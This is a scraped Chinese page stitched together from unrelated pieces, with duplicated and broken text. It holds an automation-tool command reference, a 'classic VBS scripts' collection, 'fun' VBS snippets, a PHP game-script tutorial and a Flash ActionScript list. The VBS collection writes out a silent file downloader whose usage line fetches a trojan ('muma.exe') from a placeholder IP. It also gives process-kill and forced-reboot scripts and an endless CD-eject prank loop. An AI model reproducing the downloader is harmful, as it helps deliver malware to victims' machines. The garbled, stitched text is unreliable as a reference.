硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.LeftDoubleClick 55.//在当前鼠标的位置双击鼠标左键5次命令名称:LockMouse 锁定鼠标位置命令功能:锁定鼠标位置,用户将不能通过移动鼠标而改变鼠标位置,而脚本仍可以改变鼠标位置命令参数:无返回值:无脚本例子:(8.x语法) 复制代码1.//在脚本开始的时候使用这个命令,可以有效防止用户误触鼠标引起脚本执行出错2.LockMouse3.Do4.Delay 10005.Loop脚本例子: (7.x语法) 复制代码1.//在脚本开始的时候使用这个命令,可以有效防止用户误触鼠标引起脚本执行出错2.LockMouse3.While True4.Delay 10005.EndWhile命令名称:MiddleClick 中键单击命令功能:模拟点击鼠标中键命令参数:参数1 整数型,次数返回值:无脚本例子:(8.x语法) 复制代码1.//MiddleClick、MiddleClickS、MiddleClickH2.//MiddleClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//MiddleClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.MiddleClick 55.//在当前鼠标的位置单击鼠标中键5次脚本例子: (7.x语复制代码1.//MiddleClick、MiddleClickS、法)MiddleClickH2.//MiddleClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//MiddleClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.MiddleClick 55.//在当前鼠标的位置单击鼠标中键5次命令名称:MouseWheel 鼠标滚轮命令功能:滚动鼠标滚轮命令参数:参数1 整数型,滚动量返回值:无脚本例子:(8.x语法) 复制代码1.//如果滚动量为正,向上滚动;否则向下滚动.2.//仅支持Windows 2000以上的操作系统.3.MouseWheel 14.//把鼠标滚轮向上滚动1格脚本例子: (7.x语法) 复制代码1.//如果滚动量为正,向上滚动;否则向下滚动.2.//仅支持Windows 2000以上的操作系统.3.MouseWheel 14.//把鼠标滚轮向上滚动1格命令名称:MoveR 鼠标相对移动命令功能:鼠标相对移动到命令参数:参数1 整数型,X距离参数2 整数型,Y距离返回值:无脚本例子:(8.x语法) 复制代码1.//MoveR、MoveRS、MoveRH2.//MoveRS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//MoveRH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.//当前鼠标在(100,100)点,使用下面语句5.MoveR 200,3006.//之后,鼠标就被移到了(100+200,100+300)处,也就是坐标(300,400)处7.//提示:使用硬件模拟方式不能碰键盘鼠标,否则会导致出错脚本例子: (7.x语法) 复制代码1.//MoveR、MoveRS、MoveRH2.//MoveRS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//MoveRH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.//当前鼠标在(100,100)点,使用下面语句5.MoveR 200,3006.//之后,鼠标就被移到了(100+200,100+300)处,也就是坐标(300,400)处7.//提示:使用硬件模拟方式不能碰键盘鼠标,否则会导致出错命令名称:MoveTo 鼠标移动命令功能:移动鼠标到命令参数:参数1 整数型,X坐标参数2 整数型,Y坐标返回值:无脚本例子:(8.x语法) 复制代码1.//MoveTo、MoveToS、MoveToH2.//MoveToS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//MoveToH: 硬件模拟方式,仅支持PS(圆口)的鼠标4.MoveTo 100,2005.//把鼠标移动到(100,200)这个点上6.intX=507.intY=1508.MoveTo intX,intY9.//把鼠标移动到(intX,intY)这个点上,需要5.50以上版本支持.脚本例子: (7.x语法) 复制代码1.//MoveTo、MoveToS、MoveToH2.//MoveToS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//MoveToH: 硬件模拟方式,仅支持PS(圆口)的鼠标4.MoveTo 100,2005.//把鼠标移动到(100,200)这个点上6.intX=507.intY=1508.MoveTo intX,intY9.//把鼠标移动到(intX,intY)这个点上,需要5.50以上版本支持.命令名称:RestoreMousePos 恢复上次保存的鼠标位置命令功能:保存当前鼠标位置命令参数:无返回值:无脚本例子:(8.x语法) 复制代码1.SaveMousePos2.//保存当前鼠标位置3.Delay 1004.MoveTo 500,205.Delay 1006.RestoreMousePos7.//将鼠标移动到上一次保存的鼠标位置8.//保存/恢复鼠标位置常用于制作网络游戏练功脚本,脚本开始时保存鼠标位置,脚本结束时恢复鼠标位置,9.//这样脚本执行后鼠标的位置就不会变化脚本例子: (7.x语法) 复制代码1.SaveMousePos2.//保存当前鼠标位置3.Delay 1004.MoveTo 500,205.Delay 1006.RestoreMousePos7.//将鼠标移动到上一次保存的鼠标位置8.//保存/恢复鼠标位置常用于制作网络游戏练功脚本,脚本开始时保存鼠标位置,脚本结束时恢复鼠标位置,9.这样脚本执行后鼠标的位置就不会变化命令名称:RightClick 右键单击命令功能:模拟点击鼠标右键命令参数:参数1 整数型,次数返回值:无脚本例子:(8.x语法) 复制代码1.//RightClick、RightClickS、RightClickH2.//RightClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//RightClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.RightClick 55.//在当前鼠标的位置单击鼠标右键5次脚本例子: (7.x语法) 复制代码1.//RightClick、RightClickS、RightClickH2.//RightClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//RightClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.RightClick 55.//在当前鼠标的位置单击鼠标右键5次命令名称:SaveMousePos 保存当前鼠标所在位置命令功能:保存当前鼠标位置命令参数:无返回值:无脚本例子:(8.x语法) 复制代码1.SaveMousePos2.//保存当前鼠标位置3.Delay 1004.MoveTo 500,205.Delay 1006.RestoreMousePos7.//将鼠标移动到上一次保存的鼠标位置8.//保存/恢复鼠标位置常用于制作网络游戏练功脚本,脚本开始时保存鼠标位置,脚本结束时恢复鼠标位置,9.//这样脚本执行后鼠标的位置就不会变化脚本例子: (7.x语法) 复制代码1.SaveMousePos2.//保存当前鼠标位置3.Delay 1004.MoveTo 500,205.Delay 1006.RestoreMousePos7.//将鼠标移动到上一次保存的鼠标位置8.//保存/恢复鼠标位置常用于制作网络游戏练功脚本,脚本开始时保存鼠标位置,脚本结束时恢复鼠标位置,9.这样脚本执行后鼠标的位置就不会变化命令名称:UnlockMouse 解除锁定鼠标位置命令功能:解除LockMouse命令对鼠标位置的锁定命令参数:无返回值:无脚本例子:(8.x语法) 复制代码1.脚本例子: (7.x语法) 复制代码1.//如果用户使用了LockMouse命令而没有使用UnlockMouse命令,按键精灵会在脚本结束时自动解除锁定2.UnlockMouse命令名称:WaitClick 按任意鼠标键继续命令功能:脚本执行到这一句暂停,按下任意鼠标键之后继续命令参数:参数1 整数型,可选:变量名返回值:无脚本例子:(8.x语法) 复制代码st_click=WaitClick()2.MessageBox "您按下了" & last_click脚本例子: (7.x语法) 复制代码1.WaitClick last_click2.MessageBox "您按下了" & last_click三、控制命令命令名称:Call 调用过程命令功能:调用过程命令参数:参数1 字符串型,过程名返回值:无脚本例子:(8.x语法) 复制代码1.Call子程序("我是子程序,被你调用了")2.EndScript3.//支持中文名变量4.Sub子程序(啊)5. Msgbox 啊6.End Sub7.//定义一个过程,可以在脚本中调用这个过程脚本例子: (7.x语法) 复制代码命令名称:Do 循环命令功能:条件循环命令参数:参数1 条件型,循环条件返回值:无脚本例子:(8.x语法) 复制代码1.例子1:2.//支持Exit Do 命令退出循环3.i=04.Do While i=05. Msgbox "我停不下来啦!!快住手"6.Loop7.//当循环条件成立的时候,反复执行循环体8.9.10.例子2:11.i=012.Do Until i=013. Msgbox "为什么没有循环到我呢?"14.Loop15.Msgbox "循环结束"16.//当循环条件成立的时候,离开循环体17.18.19.例子3:20.i=021.Do Until i=122. Msgbox "我停不下来啦!!快住手"23.Loop24.//当循环条件不成立的时候,反复执行循环体25.26.27.例子4:28.n=029.Do While true30. Msgbox "我将循环10次停下来!!"31.If n>=10 Then32. //当循环条件成立的时候,离开循环体33.Exit do34.End if35. n=n+136.Loop37.Msgbox n & "次"38.39.40.例子5:41.i = 042.Do43. MessageBox "ok"44.Loop While i <> 045.//条件放后面,前面的循环内容可以执行一次!脚本例子: (7.x语法) 复制代码1.无命令名称:For 循环命令功能:循环一定次数命令参数:参数1 整数型,循环次数返回值:无脚本例子:(8.x语法) 复制代码1.例子1:2.//支持Exit For 命令退出循环3.For i=0 To 94.Delay 1005.Next6.//循环10次7.8.例子2:9.//支持Exit For 命令退出循环10.For 1011.Delay 10012.Next13.//循环10次14.15.16.例子3:17.//支持Exit For 命令退出循环18.For i=0 to 19 step 219.Delay 10020.Next21.//循环10次22.23.例子4:24.//支持Exit For 命令退出循环25.For i=0 to 19 step 226.Delay 10027.If i>9 Then28.Exit For29.End If30.Next31.//循环5次脚本例子: (7.x语法) 复制代码1.For 102.Delay 1003.EndFor4.//循环10次命令名称:Function 函数命令功能:函数命令参数:多类型,多参数返回值:多类型脚本例子:(8.x语法) 复制代码1.//支持Exit Function 命令退出函数过程2.Msgbox 函数过程("我是函数,被你调用了")3.EndScript4.Function函数过程(a)5.函数过程=a6.End Function7.//定义一个函数过程,可以在脚本中调用这个函数脚本例子: (7.x语法) 复制代码1.无命令名称:Gosub 调用子程序命令功能:调用过程命令参数:参数1 字符串型,过程名返回值:无脚本例子:(8.x语法) 复制代码1.//可带参数传递2.Call子程序("我是子程序,被你调用了")3.EndScript4.Sub子程序(a)5. Msgbox a6.End Sub7.//定义一个过程,可以在脚本中调用这个过程脚本例子: (7.x语法) 复制代码1.Gosub子程序2.EndScript3.Sub子程序4. Msgbox "我是子程序,被你调用了"5.Return子程序6.//定义一个过程,可以在脚本中调用这个过程命令名称:Goto 跳转到标记命令功能:跳转到Rem标记处命令参数:参数1 字符串型,标号返回值:无脚本例子:(8.x语法) 复制代码1.Goto标记2.Delay 1003.Rem标记4.Msgbox "你直接跳到这里了!!,上面的延迟没有被执行!!"5.//跳转语句,可以跳转到rem标记过的标记处继续执行脚本例子: (7.x语法) 复制代码1.Goto标记2.Delay 1003.Rem标记4.Msgbox "你直接跳到这里了!!,上面的延迟没有被执行!!"5.//跳转语句,可以跳转到rem标记过的标记处继续执行命令名称:If 如果..则命令功能:判断表达式命令参数:参数1 条件型,表达式返回值:无脚本例子:(8.x语法) 复制代码1.例子1:2.i=03.If i=0 Then4. Msgbox "条件判断符合被通过!!"5.End If6.//通过判断表达式的取值,来执行后面的动作或控制7.8.例子2:9.i=110.If i=0 Then11. Msgbox "条件判断符合被通过!!"12.ElseIf i=1 Then13. Msgbox "否则条件判断符合被通过!!"14.Else15. Msgbox "否则!!"16.End If17.//通过判断表达式的取值,来执行后面的动作或控制脚本例子: (7.x语法) 复制代码1.i=02.If i=03. Msgbox "条件判断符合被通过!!"4.EndIf5.//通过判断表达式的取值,来执行后面的动作或控命令名称:IfColor 颜色判断命令功能:判断屏幕某点的颜色命令参数:参数1 整数型,屏幕X坐标参数2 整数型,屏幕Y坐标参数3 字符串型,颜色16进制值参数4 整数型,判断条件返回值:无脚本例子:(8.x语法) 复制代码1.例子1:2.//判断条件(0:等于 1:不等于 2:近似等于)3.IfColor 860,27,"e1b072",0 Then4. Msgbox "颜色等于"5.Else6. Msgbox "颜色不等于"7.End If8.//判断坐标点(860,27)的颜色是否等于e1b0729.10.11.例子2:12.a=1:b=113.IfColor 650,118,"78F0E8",2 Then14. MessageBox "a"15.ElseIf b=a Then16. MessageBox "b"17.End if脚本例子: (7.x语法) 复制代码1.//判断条件(0:等于 1:不等于 2:近似等于)2.IfColor 860,27,e1b072,03. Msgbox "颜色等于"4.Else5. Msgbox "颜色不等于"6.EndIf7.//判断坐标点(860,27)的颜色是否等于e1b072命令名Rem 标记/注释称:命令功标记命令可当注释能:命令参参数1 字符串型,文字数:返回值:无脚本例子:(8.x 语法) 复制代码1.//不支持数字开头的和符号作为标记名2.//标记命令.即可当注释,也可以为Goto跳转指令作标记3.Rem脚本开始脚本例子:(7.x语法) 复制代码1.//标记命令.即可当注释,也可以为Goto跳转指令作标记2.Rem脚本开始命令名称:RestartScript 重新启动脚本运行命令功能:重新启动脚本运行命令参数:无返回值:无脚本例子:(8.x 语法) 复制代码1.For i=0 to 22.Delay 10003.Call Plugin.Msg.ShowScrTXT(0, 0, 1024, 768, "屏幕内容填写" & i, "0000FF")4.Next5.RestartScript //重新启动脚本运行脚本例子:(7.x语法) 复制代码1.无命令名称:Select 情况条件选择命令功能:根据情况选择条件判断命令参数:参数1 条件型,情况返回值:无脚本例子:(8.x 语法) 复制代码1.//不支持判断语句如:Case a>0erVar 变量=0 "输入(0~9)数字"3.//<>---------------------------------------------以下是选择条件结结构判断4.Select Case变量5.Case 06. Msgbox "你输入的数字为:0"7.Case 18. Msgbox "你输入的数字为:1"9.Case 210. Msgbox "你输入的数字为:2"11.Case 312. Msgbox "你输入的数字为:3"13.Case 414. Msgbox "你输入的数字为:4"15.Case 516. Msgbox "你输入的数字为:5"17.Case 618. Msgbox "你输入的数字为:6"19.Case 720. Msgbox "你输入的数字为:7"21.Case 822. Msgbox "你输入的数字为:8"23.Case 924. Msgbox "你输入的数字为:9"25.Case Else26. Msgbox "你输入的数字不正确,请输入(0~9)数字!"27.End Select脚本例子:(7.x语法) 复制代码1.无命令名Sub 子程序称:命令功能:定义一个过程命令参数:参数1 字符串型,过程名返回值:无脚本例子:(8.x 语法) 复制代码1.//支持Exit Sub 命令退出子程序过程2.Call子程序()3.EndScript4.Sub子程序()5. Msgbox "我是子程序,被你调用了"6.End Sub7.//定义一个过程,可以在脚本中调用这个过程脚本例子:(7.x语法) 复制代码1.Gosub子程序2.EndScript3.Sub子程序4. Msgbox "我是子程序,被你调用了"5.Return子程序6.//定义一个过程,可以在脚本中调用这个过程命令名称:While 如果..则循环命令功能:条件循环命令参数:参数1 条件型,循环条件返回值:无脚本例子:(8.x 语复制代码1.i=02.While i=03. Msgbox "我停不下来啦!!快住手"4.Wend法)5.//当循环条件成立的时候,反复执行循环体脚本例子:(7.x语法) 复制代码1.i=02.While i=03. Msgbox "我停不下来啦!!快住手"4.EndWhile5.//当循环条件成立的时候,反复执行循环体四、颜色/图像命令命令名称:FindCenterColor 中心找色命令功能:在屏幕区域从中心开始查找指定的颜色命令参数:参数1 整数型,屏幕左上角x坐标参数2 整数型,屏幕左上角y坐标参数3 整数型,屏幕右下角x坐标参数4 整数型,屏幕右下角y坐标参数5 字符串型,16进制颜色值参数6 整数型,返回x坐标参数7 整数型,返回y 坐标返回值:无脚本例子:(8.x语法) 复制代码1.//FindCenterColor left,top,right,bottom,c,x,y2.//在区域内从中心到外围找颜色为c的点,把坐标保存在变量x和y中3.//left,top,right,bottom都是整数或者整数型变量,说明了区域的左,上,右,下界限4.//颜色是类似于"0000FF"的字符串,如果不取变量,别忘了加双引号5.//如果没有找到这个颜色,则x和y的值都被置为-16.FindCenterColor 0,0,800,600,"0000FF",x,y7.If x>0 and y>0 Then8. MoveTo x,y9.End If10.//在区域(0,0,800,600)中找红色("0000FF")的点,如果找到,则把鼠标移动到这个点脚本例子:(7.x语法) 复制代码1.//VBSCall FindCenterColor(left,top,right,bottom,c,x,y)2.//在区域内从中心到外围找颜色为c的点,把坐标保存在变量x和y中3.//left,top,right,bottom都是整数或者整数型变量,说明了区域的左,上,右,下界限4.//颜色是类似于"0000FF"的字符串,如果不取变量,别忘了加双引号5.//如果没有找到这个颜色,则x和y的值都被置为-16.VBSCall FindCenterColor(0,0,800,600,"0000FF",x,y)7.If x>0 and y>08. MoveTo x,y9.EndIf10.//在区域(0,0,800,600)中找红色("0000FF")的点,如果找到,则把鼠标移动到这个点命令名称:FindColor 找色命令功能:在屏幕区域从左到右、从上到下的查找指定的颜色命令参数:参数1 整数型,屏幕左上角x坐标参数2 整数型,屏幕左上角y坐标参数3 整数型,屏幕右下角x坐标参数4 整数型,屏幕右下角y坐标参数5 字符串型,16进制颜色值参数6 整数型,返回x坐标参数7 整数型,返回y 坐标返回值:无脚本例子:(8.x语法) 复制代码1.//FindColor left,top,right,bottom,c,x,y2.//在区域内从左到右,从上到下找颜色为c的点,把坐标保存在变量x和y中3.//left,top,right,bottom都是整数或者整数型变量,说明了区域的左,上,右,下界限4.//颜色是类似于"0000FF"的字符串,如果不取变量,别忘了加双引号5.//如果没有找到这个颜色,则x和y的值都被置为-16.FindColor 0,0,800,600,"0000FF",x,y7.If x>0 and y>0 Then8. MoveTo x,y9.End If10.//在区域(0,0,800,600)中找红色("0000FF")的点,如果找到,则把鼠标移动到这个点脚本例子:(7.x语法) 复制代码1.//VBSCall FindColor(left,top,right,bottom,c,x,y)2.//在区域内从左到右,从上到下找颜色为c的点,把坐标保存在变量x和y中3.//left,top,right,bottom都是整数或者整数型变量,说明了区域的左,上,右,下界限4.//颜色是类似于"0000FF"的字符串,如果不取变量,别忘了加双引号5.//如果没有找到这个颜色,则x和y的值都被置为-16.VBSCall FindColor(0,0,800,600,"0000FF",x,y)7.If x>0 and y>08. MoveTo x,y9.EndIf10.//在区域(0,0,800,600)中找红色("0000FF")的点,如果找到,则把鼠标移动到这个点命令名称:FindColorEx 模糊找色命令功能:在屏幕区域模糊查找指定的颜色命令参参数1 整数型,屏幕左上角x坐标参数2 整数型,屏幕左上角y坐标参数3 整数型,屏幕右下角x坐标参数4。
收集的一些经典的vbs脚本大全
收集的⼀些经典的vbs脚本⼤全记录⼀些经典的vbs脚本1.⽂件下载(⽆回显)echo iLocal = LCase(WScript.Arguments(1)) >iget.vbeecho iRemote = LCase(WScript.Arguments(0)) >>iget.vbeecho Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbeecho xPost.Open "GET",iRemote,0 >>iget.vbeecho xPost.Send() >>iget.vbeecho Set sGet = createObject("ADODB.Stream") >>iget.vbeecho sGet.Mode = 3 >>iget.vbeecho sGet.Type = 1 >>iget.vbeecho sGet.Open() >>iget.vbeecho sGet.Write(xPost.responseBody) >>iget.vbeecho sGet.SaveToFile iLocal,2 >>iget.vbe⽤法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe2.列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs@echo wscript.echo ps.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs⽤法:cscript ps.vbs3.终⽌进程@echo for each ps in getobject _ >pskill.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs⽤法:cscript pskill.vbs pid4.重启系统@echo for each os in getobject _ >reboot.vbs@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs@echo os.win32shutdown(2):next >>reboot.vbs⽤法:cscript reboot.vbsVBS脚本在系统安全中的⼋则巧妙应⽤VBS脚本病毒的⼤量流⾏使我们对VBS的功能有了⼀个全新的认识,现在⼤家对它也开始重视起来。
脚本大全
- Go to 跳转到指定的帧- Play 播放- Stop 停止- Toggle High Quality 在高画质和低画质间切换- Stop All Sounds 停止所有声音的播放- Get URL 跳转至某个超联结- FSCommand 发送FSCommand命令- Load Movie 装载影片- Unload Movie 卸载影片- Tell Target 告知目标- If Frame. Is Loaded ..判断帧是否被完全载入- On Mouse Event 鼠标事件。
其他Actions。
包括:- break 跳出循环- call 调用指定帧(一般喊有某个特定函数)- comment 注释- continue 继续循环- delete 删除一个对象(Object)中的变量- do while do while循环- duplicateMovieClip 复制MC- else 否则(与if联用)- else if 否则如果(与if联用)- evaluate 调用自定义函数(Function)- for for循环- for .. in 依次取得对象(Object)中的各个属性或者某个数组中的所有元素- FSCommand 发送FSCommand命令- function 声明自定义函数- getURL 跳转至某个超联结- goto 跳转到指定的帧- if 如果- ifFrameLoaded ..帧是否完全被载入- include 读入外部的ActionScript程序文件(.as)- loadMovie 装载MC- loadVariables 转载外部文件中的数据,这些外部文件可以是文本文件,或者是由ASP/CGI等脚本返回的文本值- on 鼠标事件的触发条件- onClipEvent MC的事件触发程序- play 播放- print 输出到打印机- removeMovieClip 删除MC- return 在函数(function)中返回一个值- set variable 设定变量值- setProperty 设定属性- startDrag 开始拖动- stop 停止- stopAllSounds 停止所有声音的播放- stopDrag 停止拖动- swapDepths 交换两个MC的深度- tellTarget 指定Action命令生效的目标- toggleHighQuality 在高画质和低画质间切换- trace 跟踪调试- unloadMovie 卸载MC- var 声明局部变量- while 当..成立时..- with 对..对象(Object)做..。
vbs好玩的代码
vbs好玩的代码VBS(VisualBasicScripting)是一种脚本语言,常用于Windows 操作系统上的系统管理、自动化任务和网页制作等方面。
以下是一些好玩的VBS代码:1. 在屏幕上写字可以使用以下代码在屏幕上写字:```MsgBox 'Hello World!'```2. 使电脑说话可以使用以下代码让电脑说话:```Dim speechSet speech=CreateObject('sapi.spvoice')speech.Speak 'Hello World'```3. 改变鼠标光标的位置可以使用以下代码改变鼠标光标的位置:```Set WshShell = WScript.CreateObject('WScript.Shell')WshShell.Run 'cmd.exe'WScript.Sleep 1000WshShell.SendKeys 'mode con: cols=18 lines=1{ENTER}' WshShell.SendKeys 'echo 0 50{ENTER}'WshShell.SendKeys 'exit{ENTER}'WScript.Sleep 1000WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'```4. 打开CD/DVD驱动器可以使用以下代码打开CD/DVD驱动器:```Set oWMP = CreateObject('WMPlayer.OCX.7') Set colCDROMs = oWMP.cdromCollectiondoif colCDROMs.Count >= 1 thenFor i = 0 to colCDROMs.Count -1colCDROMs.Item(i).EjectNextFor i = 0 to colCDROMs.Count -1colCDROMs.Item(i).EjectNextEnd IfWScript.Sleep 15000loop```5. 自动输入用户名和密码可以使用以下代码自动输入用户名和密码:```Set WshShell = WScript.CreateObject('WScript.Shell')WshShell.Run 'notepad.exe'WScript.Sleep 1000WshShell.SendKeys 'Userna MyUsername{ENTER}'WshShell.SendKeys 'Password: MyPassword{ENTER}'WScript.Sleep 1000WshShell.SendKeys '%{F4}'```这些代码只是VBS的冰山一角,VBS还能做很多其他有趣的事情,希望你会喜欢上它!。
25个PHP游戏编程脚本代码
25个PHP游戏编程脚本代码清单 1.简单的掷骰器许多游戏和游戏系统都需要骰子。
让我们先从简单的部分入手:掷一个六面骰子。
实际上,滚动一个六面骰子就是从 1 到 6 之间选择一个随机数字。
在PHP 中,这十分简单:echo rand(1,6);。
在许多情况下,这基本上很简单。
但是在处理机率游戏时,我们需要一些更好的实现。
PHP 提供了更好的随机数字生成器:mt_rand()。
在不深入研究两者差别的情况下,可以认为mt_rand 是一个更快、更好的随机数字生成器:echo mt_rand(1,6);。
如果把该随机数字生成器放入函数中,则效果会更好。
清单 1. 使用mt_rand() 随机数字生成器函数function roll () {return mt_rand(1,6);}echo roll();然后可以把需要滚动的骰子类型作为参数传递给函数。
清单 2. 将骰子类型作为参数传递function roll ($sides) {return mt_rand(1,$sides);}echo roll(6); // roll a six-sided dieecho roll(10); // roll a ten-sided dieecho roll(20); // roll a twenty-sided die从这里开始,我们可以继续根据需要一次滚动多个骰子,返回结果数组;也可以一次性滚动多个不同类型的骰子。
但是大多数任务都可以使用这个简单的脚本。
随机名称生成器如果正在运行游戏、编写故事或者一次性创建大批字符,有时会疲于应付不断出现的新名字。
让我们看一看可用于解决此问题的一个简单随机名称生成器。
首先,让我们创建两个简单数组一个用于名字,一个用于姓氏。
清单 3. 名字和姓氏的两个简单数组$male = array("William","Henry","Filbert","John","Pat",);$last = array("Smith","Jones","Winkler","Cooper","Cline",);境集合(可用于角色扮演、即兴创作、写作等情况)的情况下也十分有用。
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- Go to 跳转到指定的帧- Play 播放- Stop 停止- Toggle High Quality 在高画质和低画质间切换- Stop All Sounds 停止所有声音的播放- Get URL 跳转至某个超联结- FSCommand 发送FSCommand命令- Load Movie 装载影片- Unload Movie 卸载影片- Tell Target 告知目标- If Frame Is Loaded ..判断帧是否被完全载入- On Mouse Event 鼠标事件。
其他Actions。
包括:- break 跳出循环- call 调用指定帧(一般喊有某个特定函数)- comment 注释- continue 继续循环- delete 删除一个对象(Object)中的变量- do while do while循环- duplicateMovieClip 复制MC- else 否则(与if联用)- else if 否则如果(与if联用)- evaluate 调用自定义函数(Function)- for for循环- for .. in 依次取得对象(Object)中的各个属性或者某个数组中的所有元素- FSCommand 发送FSCommand命令- function 声明自定义函数- getURL 跳转至某个超联结- goto 跳转到指定的帧- if 如果- ifFrameLoaded ..帧是否完全被载入- include 读入外部的ActionScript程序文件(.as)- loadMovie 装载MC- loadVariables 转载外部文件中的数据,这些外部文件可以是文本文件,或者是由ASP/CGI等脚本返回的文本值- on 鼠标事件的触发条件- onClipEvent MC的事件触发程序- play 播放- print 输出到打印机- removeMovieClip 删除MC- return 在函数(function)中返回一个值- set variable 设定变量值- setProperty 设定属性- startDrag 开始拖动- stop 停止- stopAllSounds 停止所有声音的播放- stopDrag 停止拖动- swapDepths 交换两个MC的深度- tellTarget 指定Action命令生效的目标- toggleHighQuality 在高画质和低画质间切换- trace 跟踪调试- unloadMovie 卸载MC- var 声明局部变量- while 当..成立时..- with 对..对象(Object)做..。
操作符(Operators)- ! 逻辑非操作- != 不等于- "" 字符串- % 取余数- && 逻辑与操作- () 括号- * 乘号- + 加号- ++ 变量自加一- - 减号- -- 变量自减一- / 除号- < 小于- <= 小于等于- <> 不等于- == 相等- > 大于- >= 大于等于- and 逻辑与- not 逻辑非- or 逻辑或- typeof 返回变量类型- void 实体,无返回- | | 逻辑或操作+ Bitwise Operators 位操作符- & 位与操作- << 位左移- >> 位右移- >>> 位右移(无符号)- ^ 位异或操作- | 位或操作- ~ 补位操作+ Compound Assign Operators 复合操作符- %= A%=B 等效于A=A%B- &= A&=B 等效于A=A&B- *= A*=B 等效于A=A*B- += A+=B 等效于A=A+B- -= A-=B 等效于A=A-B- /= A/=B 等效于A=A/B- <<= A<<=B 等效于A=A<<B- >>= A>>=B 等效于A=A>>B- >>>= A>>>=B 等效于A=A>>>B- ^= A^=B 等效于A=A^B- |= A|=B 等效于A=A|B+ String Operators 字符串操作符(注:实质上是ASCII的比较)- add 连接两个字符串- eq A eq B 字符串A值与字符串值B相等- ge A ge B 字符串A值大于等于字符串B值- gt A gt B 字符串A值大于字符串B值- le A le B 字符串A值小于等于字符串B值- lt A lt B 字符串A值小于字符串B值- ne A ne B 字符串A值不等于字符串B值+ Functions 函数- Boolean 取表达式的布尔值(True 或False)- escape 除去URL串中的非法字符,将其参数按照URL编码的格式转化为字符串(String)- eval 访问并计算表达式(expression)的值,并以字符串(String)的形式返回该值- false 布尔非值(0)- getProperty 获取属性- getTimer 获取从电影开始播放到现在的总播放时间(毫秒数)- getVersion 获取浏览器的FLASHPlayer的版本号- globalToLocal 场景(Scene)中的坐标转换成MC中的坐标- hitTest 测试一个点或者MC是否同另一个交叉(即冲突检测)- int 把十进制数值强制转换成整数- isFinite 测试数值是否为有限数- isNaN 测试是否为非数值- keycode 返回键盘按下键的键盘值(ASCII值)- localToGlobal MC中的坐标转换成场景(Scene)中的坐标- maxscroll 文本框的最大行度- newline 换行符- Number 将参数转换成数值其返回值有以下四种情况:如果x 为一数字,则返回值即为该数字;如果x 为一布尔数,则返回0或1;如果x 为一字符串,则函数将x解释为一个指数形式的十进制数;如果x未定义,则返回0。
- parseFloat 将字符串转换成浮点数- parseInt 将字符串转换成整数- random 产生0到指定数间的随机数- scroll 文本框中的起始滚动行- String 将参数转换成字符串- targetPath 返回指定实例MC的路径字符串- true 布尔是值(1)- unescape 保留字符串中的%XX格式的十六进制字符+ String Functions 字符串函数- chr 将ASCII码转换成相应字符- length 返回字符串的长度- mbchr 将ASCII/S-JIS编码转换成相应的多字节字符- mblength 返回多字节字符串的长度- mbord 将多字节字符转换成相应的ASCII/S-JIS编码- mbsubstring 截取多字节字符串中的字串- ord 将字符转换成ASCII码- substring 截取字符串中的子串+ Properties 属性- _alpha Alpha值(透明度值)- _currentframe 在MC中的当前帧数- _droptarget 当使用Start drag拖动一个MC时,实时地返回该MC的绝对路径- _focusrect 高亮按钮或者某个当前区域的显示与否(True显示/Flase不显示)- _framesloaded 已载入的影帧数- _height MC的高度- _highquality 画质的高低(True高画质/False低画质)- _name MC的实例名- _quality 当前画质(字符串值) LOW,MEDIUM,HIGH,BEST - _rotation MC旋转的角度(单位:度)- _soundbuftime 声音的缓冲区大小(默认值5,单位:秒)- _target MC的路径- _totalframes 总帧数- _url 电影被调用的URL地址- _visible 是否可视(True可视/False不可视)- _width MC的宽度- _x MC的x坐标FLASH 脚本代码大全- _xmouse 鼠标的x坐标- _xscale MC的X轴向缩放度- _y MC的y坐标- _ymouse 鼠标的y坐标- _yscale 